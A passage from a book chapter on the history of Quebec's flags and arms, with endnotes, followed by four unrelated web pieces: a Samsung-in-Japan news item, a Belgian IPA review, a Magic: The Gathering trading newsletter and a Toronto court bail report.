Québécois did. So it was that the ineptitude of the federal politicians prompted René Chaloult, independent deputy from Québec-Comté, to present a motion to the Legislative Assembly (November 19, 1946) inviting  le gouvernement de Québec à arborer sans délai, sur la tour centrale de son hôtel, un drapeau nettement canadien et qui symbolise les aspirations du peuple de cette province. 49 [the government of Quebec to fly without delay, from the central tower of its parliament, a truly Canadian flag, symbolizing the aspirations of the people of this province.]  This was clever, for, under the guise of promoting a national flag of Canada, he was actually seeking a provincial flag of Quebec. In the debate the following March, opinion over whether Quebec should adopt a flag was divided, and so a committee was established to study the problem. The labours of the committee produced nothing but support in principle for a flag. Although the politicians dithered, for the rest of 1947, the public clamored for the Fleurdelisé, a name applied by that time to Filiatrault's Carillon. On December 2, Chaloult presented a new motion which argued that if Nova Scotia could claim a flag, so should Quebec. Finally on January 21, 1948, the government acted decisively, and before the issue could be debated again, the cabinet presented a decree:  QUE la drapeau généralement connu sous le nom de drapeau fleurdelisé, c'est-à-dire drapeau à croix blanche sur champ d'azur et avec lis, soit adopté comme drapeau officiel de la province de Québec et arboré sur la tour centrale des édifices parlementaires, à Québec, et cela avec la modification ci-après, savoir: QUE les lis qui figurent sur le drapeau soient placés en position verticale50  [THAT the flag generally known under the name of the Fleurdelisé Flag, that is the flag with a white cross on an azure field with fleur-de-lis, would be adopted as the official flag of the province of Quebec and raised on the central tower of the parliamentary buildings of Quebec, and with this modification: THAT the lilies which figure on the flag would be oriented vertically.]  To Premier Maurice Duplessis's announcement that the Fleurdelisé was already flying over the tower, the Assembly erupted in thunderous applause. Formal approval of the Legislative Assembly arrived two years later on March 9, 1950. Before long the Fleurdelisé, as the provincial flag was now known, had attained a comfortable familiarity which made it seem as if it had been the flag of Quebec since the Abitation. Abbot Filiatrault would have been proud-but then, for that matter, so would have been Champlain.  Before the authorization of a special flag badge for the Lieutenant-Governor of Quebec on July 17, 1870, he probably flew the plain Union Flag at his residence.51 As the special flag for the Lieutenant-Governor was originally intended for use aboard a ship, it is not clear how long it was before it began to replace the plain Union Flag on land.  The badge that the Lieutenant-Governor of Quebec placed in the centre of the Union Flag was, like that of the other four founding provinces, the provincial arms enwreathed in maple leaves. So, even though the arms were of minor influence in the design of the provincial flag, they were very important for the Lieutenant-Governor's flag.  Each of the four founding provinces received arms by royal warrant on May 26, 1868. Quebec's reads like a chronology: fleurs-de-lis in the chief representing the French Régime, an English lion in the centre (fess) representing the British Period, and maple leaves in the base for the Canadian period. Curiously, although three golden fleurs-de-lis on a blue field had been the traditional representation, yet, two blue ones on a golden field appeared on the 1868 arms.  No explanation was given at the time for these choices, but plausible ones are not hard to find. The practice of reversing colours on derivative arms is well established: just as the saltire on the 1625 arms of Nova Scotia (New Scotland) is a reversal of the white saltire on blue used by Scotland, it would be equally appropriate if the fleurs-de-lis on the portion of the arms representing New France were a reversal of those of France. It has also been suggested that the change in number and colour was just a polite way for Queen Victoria's heralds to distance themselves from the historic claim England had for land in France.52 After all, in pursuant of this claim, the royal arms of Britain had born golden fleurs-de-lis from 1340 to 1801; there was no point in opening old wounds now by returning them to the arms of a British dominion. Finally, the choices may have been driven as much by design considerations.53 Certainly, as presented, the arms of Quebec are a beautiful match to those granted to Nova Scotia at the same time.  Whatever the original reasons, with the rise of interest in the fleur-de-lis in the early twentieth century, the representation of Quebec by two blue ones did not seem consonant with images of the past. On December 9, 1939, a provincial order-in-council declared that there would now be three golden fleurs-de-lis on a blue field in the chief of the arms. At the same time, the motto, JE ME SOUVIENS , was added on a scroll below and a crown was placed above. Aesthetically, these changes were very effective, although it remains the fact that arms are something granted by the sovereign and are not subject to capricious modification by those who hold them.54 Thus, there were now two versions of the Quebec arms in use: the official (1868) ones, and the assumed (1939) ones. Needless to say, the assumed version was preferred within the province, while either might be used outside.55  While the 1939 version of the arms was ultimately to appear upon the flag of the Lieutenant-Governor, it is not clear that it was ever used as a badge upon the Union Flag, for, in 1940, the new Lieutenant-Governor, Sir Eugène Fiset (1939-50), chose to fly the plain Union Flag, rather than one defaced by any badge. As the king's representative in Quebec, it is possible that he just found it easiest to avoid the question of what were the appropriate arms to use on the flag: Quebec's version, or the sovereign's version.  The next Lieutenant-Governor, Gaspard Fauteux (1950-8), started using the Canadian Red Ensign on the gubernatorial residence of Blois de Coulogne. Certainly, this was in keeping with the shift to the Ensign rather than the Union Flag which had occurred in 1945 at the federal level. However, this usage did not last very long, for with the adoption of the provincial flag by the Legislative Assembly on March 7, 1950, the Union Flag on the tower of the Legislative Assembly had been replaced by the new provincial flag. It seems that at this point Fauteux also decided to have a new flag to identify the representative of His Majesty. With the assent of the Governor General, he chose to fly a flag patterned after the one used by the Governor General: royal blue in colour, with the (1939) arms on a white roundel in the centre.56 When this flag was introduced, it bore the crown with the raised arches, sometimes called the Tudor Crown. It now bears the depressed arches of the Saint Edward's Crown, favoured by the Queen.  Quebec did not join the majority of the other provinces in the 1980s when they adopted the modern pattern for the flag of the Lieutenant-Governor. However, despite the minor design differences, such as the wreath of golden maple leaves and the flag shape, in many ways it was the other provinces which were, after some thirty years, following the lead of Quebec.  The use of a flag to mark a special occasion has a long history in Quebec. An early one was the one hoisted to mark the Tercentenary of the City of Québec in 1908. A white cross was place upon a powder blue field strewn (semé) with fleurs-de-lis.57  The best known flag of occasion in Canada, the one for the 1967 Centennial of Confederation, is often mistakenly believed to be the flag of Montréal's EXPO 67 . But, EXPO had ones of its own. The flag for the Canadian Centennial Exposition presented the theme for the whole fair, Man and his World, by reproducing the symbol, , eight times in a ring. The device was usually presented in white on a blue field.  Montréal also used distinctive flags as the host of the Summer Olympics in 1976, and the horticultural fair, Les Floralies internationales, in 1980. The latter bore a symbol which evoked not only the floral context of the exposition (a hand-held bouquet), but Montréal (the M at the bottom), Quebec (the fleur-de-lis), and the world (the disk).58  Each of Quebec's two oldest universities flies an armorial banner based from the arms its eponym. In 1922, M c Gill University received arms derived from those which had been granted posthumously to its founder, James M c Gill. The red and white armorial banner of the university displays three martlets, a mythical bird which, lacking feet, is portrayed in motion. The crowns bearing fleurs-de-lis are a reference to both the city's royal name and its French nature, while the open book is the heraldic symbol of an institution of learning.  In 1952, Université Laval was granted arms which are but a colour inversion of the blazon of François de Laval, the first bishop of Québec. The armorial banner flown by the university bears a golden cross on a red field. Five blue shells on the cross recall the crusades in which Msgr. de Laval's ancestors took part; the sixteen silver allerions are spread eaglets without beck or talons and represent defeated and disarmed enemies.  The Université de Montréal adopted a new monogram in 1967. It forms the university's flag when displayed in gold on a blue field.  The Collège militaire royal de St.-Jean uses a flag which follows the pattern set by its sister, the Royal Military College, in Kingston, Ontario. Flown first during the graduation ceremonies on May 11, 1985, the flag is divided into three pales of light blue, white, and light blue, while the crest of the college, a mailed fist holding three maple leaves, is place in the central pale.  The capital city of Québec has one of the most effective and prettiest municipal flags in the country. Lifted from the city's arms, a golden ship on a blue field recalls not only the foundation of the city in 1608, but also the long-time maritime activities of its residents. The silver, crenelated border represents the fact that Québec is a walled city. This flag was adopted by a city by-law on January 12, 1987 and raised on the City Hall on February 3. From 1967 until 1987, the city flew a white ensign with the Fleurdelisé in the canton and the city arms on the fly.  Montréal uses a banner of its arms: in the quadrants formed by a Saint George's cross there appear a fleur-de-lis, a rose, a thistle, and a shamrock. The flag has been used since May 1939 when it was introduced to mark the visit of King George VI. At that time, the arms had only recently been revised from the pattern used since 1833 which had employed a Saint Andrew's cross. At the end of March 1981, a logotype was introduced and it now appears on almost every article used to represent the city-except flags. Actually, it did appear on a flag briefly at the symbol's inception, but as this use was not continued, the traditional flag remains in place.  Since its centennial of settlement in 1938, the delightfully styled Kingdom of Saguenay has flown a striking flag. Its creation, by Monseigneur Victor Tremblay, the director of La Société Historique de Saguenay.59 was prompted in part, it seems, from the lack of either a national or provincial flag at the time.60 The flag bears a double cross: silver representing industry, over red for the population. The upper two quadrants are green, symbolizing the forests, and the lower ones, yellow, for the ripe harvests. The approach adopted in the Saguenay, of specifically designing a flag, as such, seems to be rare among the Quebec municipalities. More often, flag design appears to be a secondary byproduct of other forms of identification. Possibly, this is but a reflection of the preference early settlers and explorers had for the use of arms rather than flags.  It is a widespread practice in Quebec for municipal flags to have a white field. It is pleasant to imagine that this constitutes a reference to the White Flag of the old régime. In the centre of the flag will be placed either a heraldic or logotypic badge. Normally communities carefully record the date when arms were granted (or assumed), or when a logotype was adopted. But the date the device was placed upon a flag, which may be a decade or so later, often goes unrecorded. So, it is often unclear when the flag, itself, began to be used. With a few exceptions, the raising of most municipal flags in Quebec seems to have awaited the adoption of the National Flag in 1965.  All the municipalities on the Île de Montréal have been been represented in the Montréal Urban Community since 1970. Although most of their flags were adopted after that time, in 1969, LaSalle adopted one which combined the eight-pointed star from the arms of its eponym, Robert-René Cavelier de LaSalle, with blue wavy lines from the municipal arms. In 1976, Saint-Laurent adopted a logotype evocative of a tree, blossom, or open-armed greeting. This was subsequently placed upon a white field to form the municipal flag. The same approach was followed by Outremont and Lachine. Lachine's badge, adopted about 1980, shows two stylized leaves, the ribs of each forming an L. The blue leaf evokes water and the old way of life and the green one, foliage and modern dynamism.  The neighouring communities of Boucherville, Pierrefonds and Saint-Bruno-de-Montarville place their arms upon white, while Brossard and Longueuil employ a logotype in the same way. Before adopting its logotype in 1978, Longueuil flew a flag with a white cross on red on the hoist and a blue fleur-de-lis on white on the fly. Laval places its logotype, an L built out of cubes, upon a grey field. All five write their names upon their flags. Until 1987, nearby Saint-Eustache placed its arms in the white canton of an otherwise horizontal tricolour of red, green and blue. Thereafter, two blue swallows flew against a white sky. Saint-Jérôme uses a pictorial scene within a maple-leaf outline and places it upon a yellow field. Joliette, has a vertical bicolour of white and blue; the city's arms are placed upon the blue, while its name is written on the white.  Along the Ottawa River, the cities of Aylmer and Gatineau, both have flags. Aylmer's badge, which is placed upon a white field, recalls not only the adjacent Lake Deschênes, but the villages of Deschênes, Lucerne and Aylmer, out of which the city was formed in 1975. Gatineau placed its arms in the central pale of a vertical tricolour of green, white and orange. In 1987 a logotype, in the form of a stylized green G on white, was adopted.  The arms, which Sherbrooke places upon a white field along with its name, evoke the city's location at the junction of the Saint-François and Magog Rivers in the Eastern Townships.  The city of Cap-de-la-Madeleine, situated along the St. Lawrence between Montréal and Quebec, specifically designed a flag and adopted it in 1969.61 It is divided into three diagonal panels: the red at the hoist bears the national symbol of a maple leaf; the white in the centre, the city's arms; and the blue on the fly, the provincial emblem of a fleur-de-lis. The design bears a striking similarity to the flag that Red Deer, Alberta, adopted eight years later.  Across the river, Bécancour reestablishes the pattern that characterizes much of the lower St. Lawrence: a badge on a white field. Bécancour and Rivière-du-Loup employ a logotype while Sept-Iles, Matane, and Ste-Anne-des-Monts use arms. Each includes its name upon the flag. Ste-Anne-des-Monts has also revived a much older flag, bearing the monogram SA, which had been employed in the mid twenties to embellish homes on the occasion of the Fête Dieux, Saint-Jean Baptiste day and the festival of Ste Anne.  Baie-Comeau has had a flag since 1985 when it reversed the colours of its logotype to display white upon blue. This, along with the absence of any writing, contributes to a very effective flag.  This sampling of the municipal flags of Quebec is far from exhaustive. Yet, the selections appear representative.  This is the chapter entitled, Quebec, from the book,  The Flags of Canada, by Alistair B. Fraser.  This work is copyrighted. All rights reserved.  1. Reuben Gold Thwaites, The Jesuit Relations and Allied Documents, 1610-1791, Vol. 3 (Cleveland: Burrows Brothers, 1896-1901), pp. 28-29.  2. Whitney Smith, Flags through the Ages and Across the World (New York: McGraw-Hill, 1975), p. 131.  3. August Vachon, "The Royal Mark in New France,"The Archivist, Vol 17, No. 1 (Ottawa: National Archives of Canada, January-February 1990), pp. 11-13.  4. Gustave Desjardins, Recherches sur les drapeaux français (Paris: Vve A. Morel et Cie, 1874), pp. III-IV, 15, 18, 60-62, 113. The three occasions were the coronation (1610) and funeral (1643) of Louis XIII, and the funeral (1715) of Louis XIV.  5. There is a record of the Bannière's use on Pierre du Gua de Monts' lodging at his settlement on île Sainte-Croix in 1604. But this island in the St. Croix River is just over the border in Main rather than New Brunswick. The record can be found in Marc Lescarbot, Histoire de la Nouvelle-France ... suivie des Muses de la Nouvelle-France, Vol. II (Paris: Edwin Tross, 1866), p. 450.  6. Many more examples, extending over two centuries, of this use of the Royal Arms in North America are cited by Vachon, The Archivist.  7. Desjardins, Recherches..., pp. 50-51.  8. Certainly, by 1643 the merchant marine was identified by the rectangular blue flag with the white cross. In 1661, an edict of Louis XIV required an inescutcheon of the royal arms to be added to this merchant's flag. The swallow-tale pennant also appearing on his ship is, like the one on the Abitation, a battlefield standard. See Vachon, The Archivist.  9. Smith, Flags..., pp. 44-45.  10. Alain René Lesage, Les aventures de Monsieur Robert Chevalier dit Beauchêne..., t. 1 (Maestricht: Jean-Edmé Dufour S. Phil. Roux, 1780), p. 126.  11. Smith, Flags..., p. 66.  12. Timothy Wilson, Flags at Sea (London: Her Majesty's Stationary Office, 1986), p. 61.  13. Thwaites, Jesuit Relations, Vol. 5, p. 42.  14. Thwaites, Jesuit Relations, Vol. 43, p. 138.  15. René Chartrand, "The Flags of New France," The Flag Bulletin, XV:1 (1976), pp. 13-21. See also Chartrand, "Les drapeau en Nouvelle-France," Conservation Canada, Vol. 1, No. 1, (1974), pp. 24-25.  16. Antoine Champagne, Nouvelle études sur les La Vérendrye et le poste de l'Ouest (Québec: Les presses de l'Université Laval, 1971), p. 152.  17. Alan B. Beddoe, Beddoe's Canadian Heraldry (Revised by Col. Strome Galloway) (Belleville: Mika, 1981), p. 41.  18. Benjamin Sulte, Melanges Historiques, La SSJB 1834-1852, Vol. 15 (Montréal: Ducharme, 1921), p. 65.  19. Raoul Roy, Pour un drapeau indépendantiste (Montréal: Les éditions du frac-canada, 1965), pp. 14-15.  20. Eric Hobsbawm, "Introduction: Inventing Traditions" The Invention of Tradition (Cambridge: Cambridge University Press, 1983), p. 2.  21. The silk has turned a light brown and very brittle with age. The design and workmanship of the banner was of low quality.  22. This reconstruction of the early history of the Carillon is based largely on the careful scholarly work of D. Peter MacLeod and C. Michel Boucher, "The Drapeau de Carillon, History and Legend," The Flag Bulletin,, XXXII, 2 (1993), p. 66-87.  23. E. Gagnon, "Le Drapeau de Carillon," Revue canadienne, new series, Vol. II (March 1882), pp.129-139, see p. 133.  24. Le Journal de Québec (June 27, 1848). See also the Quebec Gazette (June 28,1848).  25. H.-R. Casgrain, Lettres et pièces militaires, instructions, ordres, mémoires, plans de campagne et de défense, 1756-1760 (Québec, 1891).  26. MacLeod and Boucher, "The Drapeau de Carillon ."The Flag Bulletin,, XXXII, 2 (1993), p. 70-71.  27. J.C.K. Laflamme to Gagnon, February 10, 1905. See Gagnon, "Le prétendu drapeau de Carillon," p. 306.  28. E. Gagnon, writing as Pierre Sailly, "Le prétendu drapeau de Carillon," Revue canadienne, new series, Vol XVI (October 1915) pp. 304-306.  29. H.-J.-J.-B. Chouinard, Fête nationale des canadiens-français (Québec: A. Coté et Cie, 1881), pp. 78-79.  30. Rauol Roy, Pour un drapeau indépendantiste (Montréal: Les Éditions du Franc-Canada, 1965), p. 44.  31. Robert J.D. Page, Imperialism and Canada, 1895-1903, (Toronto: Holt, Rinehart and Winston, 1972), p. 7.  32. Un Compatriote, Aux Canadiens-français, notre drapeau, (St. Hyacinthe: La Tribune, 1903), p. 17. Although it is widely claimed in the literature, and it seems reasonable, that this pamphlet was written by Abbot Ephège Filiatrault, no one seems to provide any basis for the assertion. Further, the literature sometimes claims that the pseudonym was "un patriote" and that the date was 1902.  33. Aux Canadiens-français, notre drapeau, p. 21.  34. Aux Canadiens-français, notre drapeau, p. 22.  35. Elphège Filiatrault, Nos couleurs nationales (Saint-Jude, 1905), 12 p.  36. Le Comité de Québec, Le Drapeau National des Canadiens français: un choix légitime et populaire. (Québec, 1904), 309 pp.  37. Although this is norm, there are striking exceptions such as the National Flag of Canada, where there was strong artistic leadership and the committee did not design as much as it chose between designs.  38. See: Edouard Blondel, "Les drapeaux canadiens" La Presse (1920 April 10), pp. 1, 8; and François Beaudoin, "Flags of Quebec"The Flag Bulletin, XXIII, 5 (1984), p. 157.  39. Jean-Guy Labarre, Non au Drapeau Canadien (Montréal: Les Éditions Actualité, 1962), p. 48.  40. Rodolphe Fournier, "Historique du Fleurdelisé" Le Manuel des Sociétés Saint-Jean-Baptiste (Québec: Les Editions du Richelieu, 1953), p. 89.  41. François Beaudoin, "Flags of Quebec"The Flag Bulletin, XXIII, 5 (1984), p. 157.  42. Labarre, Non au Drapeau Canadien, p. 49.  43. "The National Flag Contest" La Presse (Montréal, May 26, 1926), an editorial and an illustration.  44. Roy, Pour un drapeau indépendantiste, p. 76.  45. See the discussion in T.S. Ewart, A Flag for Canada (Ottawa: self, 1947), p. 5.  46. John Ross Matheson, Canada's Flag: A Search for a Nation, (Boston: G.K. Hall, 1980), p. 59-60.  47. Matheson, Canada's Flag, p. 50.  48. Labarre, Non au Drapeau Canadien, p. 51.  49. Jacques Archambault and Eugéne Lévesque, Le Drapeau Québécois (Québec: Éditeur officiel du Québec, 1978), p. 22.  50. Archambault and Lévesque, Le Drapeau Québécois, p. 23.  51. Although the new flag was approved on July 16, 1870, the despatch was not received by the Privy Council in Canada until August 8, which likely marks the earliest time the new flag would have been in use.  52. Alan B. Beddoe, Beddoe's Canadian Heraldry (revised by Col. Strome Galloway) (Belleville: Mika, 1981), p. 72.  53. Conrad Swan, Canada: Symbols of Sovereignty (Toronto: University of Toronto, 1977), p. 100.  54. In this way, arms are like a trademark or a patent, which are similarly not subject to arbitrary redefinition by the recipient.  55. The 1967 Centennial Fountain on Parliament Hill uses the 1868 version, while the 1986 Canadian Symbols Kit uses the 1939 version.  56. Memo from Micheline Dussault to Group Captain Gabriel Taschereau, Executive assistant to the Lieutenant-Governor of Quebec, circa January 1971.  57. Beaudoin, "Flags of Quebec", pp. 157. One of these Tercentennial flags is preserved in the museum at the Collège militaire royal de St.-Jean.  58. The symbol of the Montréal Olympics was created by Georges Huel, while that of Les Floralies internationales de Montréal was by Marcel Cadieux.  59. Hugh MacLennan, Rivers of Canada, "The Saguenay" (Toronto: Macmillan, 1974), p. 221.  60. Kevin Harrington, "The Saguenay Flag," Flagscan, Issue 11, Vol. III, No. 3 (Fall 1988), pp. 3-8.  61. Cap-de-la-Madeleine adopted its flag on Aug. 25, 1969.  This is the chapter entitled, Quebec, from the book,  The Flags of Canada, by Alistair B. Fraser.  This work is copyrighted. All rights reserved.
-Yesterday, Softbank Mobile announced its Fall 2015/Winter 2016 product lineup. While some here may have been impressed at the carrier’s offering Huawei’s Nexus 6P, the event arguably had greater significance in what it didn’t contain: plans to release either the Galaxy Note 5 or the Galaxy S6 Edge+. As both NTT docomo and KDDI au – Japan’s other two major carriers – had already held events to launch their new offerings, this was essentially the last shot.  Softbank, which until just a few months ago had never carried a single Galaxy smartphone, surprised the local mobile market when it announced both the Galaxy S6 and S6 Edge, albeit months after the global release. In light of the unexpected pair of products, some had held out hope Masayoshi Son’s conglomerate might be the sole bastion to offer the “greater” Galaxies.  This news represents the latest hardship for the Korean conglomerate here in Japan, having completely re-branded itself as “Galaxy” earlier this year in an apparent attempt to shift attention from its brand name, and amid reports that both flagships were an immediate flop in the market. In addition to the Note 5 and Edge+, to date, neither the Galaxy Tab S2 nor the Gear S2 models have been announced for release.  The only one  The sole Samsung offering this Fall is the rather meager Galaxy Active neo, a Japan-only device that features a 4.5-inch WVGA-resolution TFT display, a 1.2GHz Snapdragon 410 SoC, 2GB of RAM, and an 8-megapixel rear camera to list but some of the specs. The device will come in at a price point of under $200.  This Active variant is a peculiar surprise given that its sole carrier, NTT docomo, had previously released both the Galaxy S4 Active and Galaxy S5 Active, yet has apparently passed on the S6 variant. Perhaps even more importantly however, docomo had been supportive of the Galaxy brand since the early days, being the sole carrier to offer the Galaxy S1, and subsequently the only one that offered the Galaxy Note 1.  While there is still ample opportunity for Samsung to make an announcement at a later date, at the moment things are looking rather bleak over here. Samsung Japan was unable to provide any specific information and instead recommended speaking directly with the local carriers.
-Yards Brewing Company Cicada Indigenous Ale: A New Hop Variety taking on a Classic Beer Style  As I perused the shelves of my local beer shop (shout out to Norm’s Beer and Wine, they’ve got a great selection of beers and are my go to for my beers), the label of Yards Brewing Company’s Cicada caught my eye. I always love going to the beer store and just browsing beers just by looking at their labels. I usually go in having an idea of what I’m looking for, be it a new release or a certain style, but I almost always find myself being sidetracked, with a flashy or funky label drawing my attention. However, with Yard’s Cicada, I wasn’t drawn by the flashiness of the label. I was drawn by its simplistic and yet detailed nature, with its drawing of a cicada on a hop vine looking like something taken out of an 18th or 19th century science textbook. At the same time, the drawing of the cicada brought back memories of the last “invasion” of the red eyed beasts that took over my town during middle school as they made their emergence after seventeen years underground. But I digress.  Yard’s Cicada Indigenous Ale is a Belgian style India Pale Ale, which is brewed with “local wildflower honey, a classic Belgian yeast strain, and a hop variety so new it hasn’t been named yet.” In my last review, I looked at New Belgium’s French Aramis IPA, which also used a new hop variety: the Aramis hop. I chose that beer to review because I thought reviewing a beer with a new hop variety would be fun, but when I chose Yard’s Cicada, I had no idea they were using a new experimental hop variety. And I was pretty stoked to find that out. In my last post, I talked about how it is really cool brewers are using these new hop varieties in new beers, and I’m glad that I stumbled on another beer using a new variety (although I wish I had a little more information on the hop. Further research proved fruitless when I tried to glean any more information on this “new hop”).  Numbers-wise, this Belgian IPA comes in a 750mL bottle, and is 8.5% ABV. Watch out for the ABV, since this beer proved to be quite drinkable! Poured into a tumbler pint glass, this beer is as aesthetically pleasing as any.  Mugshots of Yards Brewing Company’s Cicada Belgian IPA  Appearance– The beer poured amber in color, tinged reddish-orange. A thick and luxurious tan head rushed to the top of the glass, creating a dense and frothy head that subsided over a few minutes, but never disappeared fully, with tiny bubbles of carbonation racing to the head as long as there was beer in the glass.  Aroma– The aroma of this IPA is decidedly one of floral hoppiness. It starts off with an earthy character, with a mild citrus undertone. It has an herbal character to it, but that takes a backseat along with the citrus aromas when compared to the floral notes. About halfway through the first glass, once the beer sits and warms up a bit, more citrusy aromas are released. There are also some malt aromas to the beer, which makes for a very interesting balancing act of malty and hoppy aromas, which is reflected also in the flavor profile of this IPA.  Taste– This IPA is very malt forward. It has a malty flavor which resides somewhere in between biscuit, roasty, and caramel in character. This maltiness is balanced out by bitter hop flavors that are mostly floral, with hints of citrus that are more apparent when the beer warms up a bit and settles. It finishes with an overall malty body with moderate hop bitterness. It has a surprisingly clean finish, where the hop bitterness doesn’t overpower and overstay its welcome. It does finish with a warm alcoholic bite, but that is to be expected from the addition of the wildflower honey, packing in an 8.5% ABV.  Mouthfeel– Lots of carbonation, but not overly carbed, giving it a full body without being thick. The beer has a warm alcohol mouthfeel to it, but it is a pleasant sensation that accentuates the malt backbone. It finishes dry, which makes it a really drinkable beer. Which is great if you are wary of its 8.5% ABV.  Overall Impression– Yards Brewing Company’s Cicada is a solid Belgian IPA. It has a flavor profile that is well balanced: malty, roasty-biscuit flavors balancing out a hop bitterness that is driven by floral and earthy flavors, with an underlying citrus hoppiness. It finishes dry, with a hop bitterness that is to be expected from an IPA, but it isn’t so overly bitter that you can’t taste the next sip through a residual drowning hop bitterness. For an IPA, it is definitely malt forward, and it is a good example of the style of the Belgian IPA.  For being an impulse buy based mostly off of the label, I am pretty happy with picking up this bottle of Yards Brewing Company’s Cicada Indigenous Ale. Established in 1994, the guys at Yards are brewing some solid beers. This Belgian IPA, which I personally think is an interesting style to begin with, is a really great beer to drink. It makes use of a “classic Belgian yeast strain,” which reflects traditional Belgian brewing culture, “indigenous wildflower honey” which adds an American spin on a Continental style, and a “new experimental hop variety,” which reflects the innovation and experimentation that craft brewers are embracing in order to create new and engaging beers that consumers are going to be eager to try. And on top of all of this, Yards Brewing Company is Pennsylvania’s first 100% wind powered brewery, and works to reduce its environmental footprint in its brewing processes. So when you’re supporting them, you’re supporting Mother Nature! What’s not to like about that?  Related articles  Advertisements
-All the Good News August 16, 2016 WRITTEN BY George Khoury  Hello Fellow Traders!  Welcome to All the Good News, the weekly update that gets you a little bit closer to understanding the Council’s Dilemma. First and foremost, a quick recap of the newest Conspiracy set’s official preview week, which started on Monday. Then, there’s a brief debriefing of the events that happened over the weekend: GP Portland, GP Rimini and the SCG Modern Open Syracuse. After the debriefing, there’s an update on the number of points PucaShield removed over its first month. Lastly, there’s the weekly reminders of the good things to look forward to or out for.  Conspiracy: Take the Reprint  While we all have a Burning Wish for a few certain cards to get reprinted, nobody expects the Inquisition of Kozilek! And it just so happens, both Burning Wish and Inquisition of Kozilek are getting reprinted in CN2.  Conspiracy: Take the Crown is getting previewed this week, and as expected based on the packaging previewed last week, not only has Marchesa, the Black Rose assumed the throne, she also crossed over from Grixis to Mardu during her ascension to Queen Marchesa.  Take a look at some of the fantastic previews revealed yesterday:  New cards like Archdemon of Paliano and Animus of Predation will make drafting CN2 a totally unique experience. In keeping with the set’s namesake, there are new conspiracy-type cards that will introduce an additional element of the unknown.  You can click here to see the Conspiracy: Take the Crown preview cards as they are added to the PucaTrade database and start adding the cards you want, need and love to your PucaTrade want list.  New Conspiracy Mechanics  The newest set mechanic, Monarch, was also unveiled. Basically, some cards explicitly state that you “become the Monarch,” and as long as you retain the title you get to draw a card at the beginning of your end step. However, if a creature deals damage to you, that creature’s controller becomes the Monarch.  Along with the return of Conspiracies, Will of the Council has been revamped to Council’s Dilemma allowing each vote to provide some gain rather than the majority-wins requirement of Will of the Council. Another new mechanic, Melee, incentivizes players to attack more than a single player each combat phase since a creature with Melee will get +1/+1 for each opponent attacked during that combat phase. Lastly, Goad forces a creature an opponent controls to “attack each combat if able” until the Goad-er’s turn and prevents the creature from attacking the Goad-er. You can read more about the new mechanics here.  WotC also updated their page explaining the Conspiracy Draft format. If you’re curious about the back-story of the design of Conspiracy, take a look at Mark Rosewater’s article “It’s Another Conspiracy”.  Conspiracy: Taking the HypeTrain to Paliano  In addition to preview season starting this week we were treated to the next chapter of the storyline. What’s more, an Australian LGS, Games Laboratory, showed off their special package received from Paliano, a work of art that really brings the Conspiracy: Take the Crown story to life. Only a handful of stores were lucky enough to be picked to take part in the Conspiracy Pre-Release (picture via facebook: click here). Don’t forget to keep an eye on social media over the weekend to see what those few lucky LGSs do to celebrate the occasion.  Last stop on the Conspiracy hype-train: The packaging features Queen Marchesa on the box and pack-wrapper art, as well as Kaya, Ghost Assassin on the pack, and a currently unnamed goblin (though it is speculated that the goblin is Daretti).  Grand Prix Portland  Over 1,700 players started on day 1 of GP Portland, and the top 100 day 1 meta shows a shift in the Standard metagame back towards Bant Company which made up a third of the top 8. However, at the very end, it was Robert Santana playing Jund Delirium who won it all defeating Travis Woo on WB Control, despite not being one of the four undefeated players at the end of day 1.  You can take a look at the Top 8 here. Top 9 - 32 can be found here.  Full coverage from WotC can be found here.  Grand Prix Rimini  Nearly 900 players came to Rimini, Italy to sling spells. Similarly to Portland, Bant Company had a significant presence in the meta and made up 75% of the Top 8. The finals was a Bant Company mirror match. Arne Huschenbeth, who traveled to Rimini from Germany, won the mirror to become GP champ.  You can take a look at the Top 8 here (which is all Bant Company and U/R Fevered Visions). Top 9 - 32 can be found here.  Day 2 metagame analysis can be found here.  Full coverage from WotC can be found here.  SCG Modern Open Syracuse  Ross Merriam defeated the competition piloting a new build of Modern Dredge featuring four Insolent Neonate and four Prized Amalgam. Two weeks prior, a similar Dredge list piloted by Justin O’Keefe won the SCG Modern Classic in Baltimore.  The Top 8 was rather diverse with five distinct archetypes: two Dredge, three Jund, one U/W Control, one Infect, and, finishing in second place, one R/G Breach deck. In light of the Top 8, the day 2 metagame breakdown provides interesting insight into the state of the Modern metagame.  You can take a look at the Top 32 here.  Full coverage from SCG can be found here.  PucaShield Update  PucaShield went into effect back on July 11th and after one full month 999,065 points have been paid into PucaShield. Landing just shy of one million points in one month seems to be a positive indicator that PucaShield will have a significant impact on point reduction over the long term.  Reminder! Future Site is FIVE Days Away  The PucaTrade team is hard at work putting the final touches on Sunday’s highly anticipated release. Dan provided an update last Friday letting us all know that things are progressing according to plan to meet the projected release date. Get those non-English, moderately played cards ready to send!  Reminder: FTV: Lore  Good News! This weekend, From the Vault: Lore will become available.  Event Reminders: RPTQ, SCG Invitational & Worlds  If you qualified for an RPTQ, these are being held this weekend. Check the schedule to see if you can attend one of the many taking place this weekend.  This weekend in New Jersey, the SCG Invitational will be focused on Modern and Standard with the final Top 8 being Modern. Live coverage will be provided by SCG via Twitch.  Lastly, Worlds is still a few weeks away, but if you plan on attending PAX West, Worlds is being held there from Sept. 1-4. There will be side events galore. Check out the Roster of players for Worlds here.  That’s All the Good News!  -GK  GK is a Modern, Legacy and EDH player that has been playing the game addicted to M:tG since 2011. Follow him on Twitter @LiberatedKarn  If you don't have a free PucaTrade account, learn how it works! Sign up or upgrade today!
-Convicted of attempted murder in the 2013 shooting death of Sammy Yatim, Toronto police Constable James Forcillo will remain a free man — for now — after his bail was extended until Oct. 1 on Tuesday.  Forcillo was sentenced to six years behind bars after a judge found the second volley of shots he fired at prone Yatim on a TTC streetcar was “unreasonable, unnecessary and excessive.”  During Forcillo’s trial the court heard from witnesses who said Yatim, 18, pulled out a knife while riding the busy streetcar, terrifying passengers. Videos of the incident and subsequent police shooting were played in court.  Jurors ultimately found that Forcillo was justified in firing the first volley of shots which felled Yatim, acquitting him of the more serious charge of second-degree murder.  Related stories:  Yatim’s family delivers emotional statements at Forcillo sentencing hearing  Mandatory minimum sentence ‘overboard’ for Forcillo’s case, lawyer says  Police officers need better training, and they need it urgently: ombudsman  Upon sentencing in July 2016, Forcillo’s legal team secured his bail pending an appeal.  Forcillo’s appeal dates are scheduled for October 2-4.  Here’s a look back at our live reporting during Forcillo’s sentencing. For a mobile-friendly version, click here.  With files from The Canadian Press
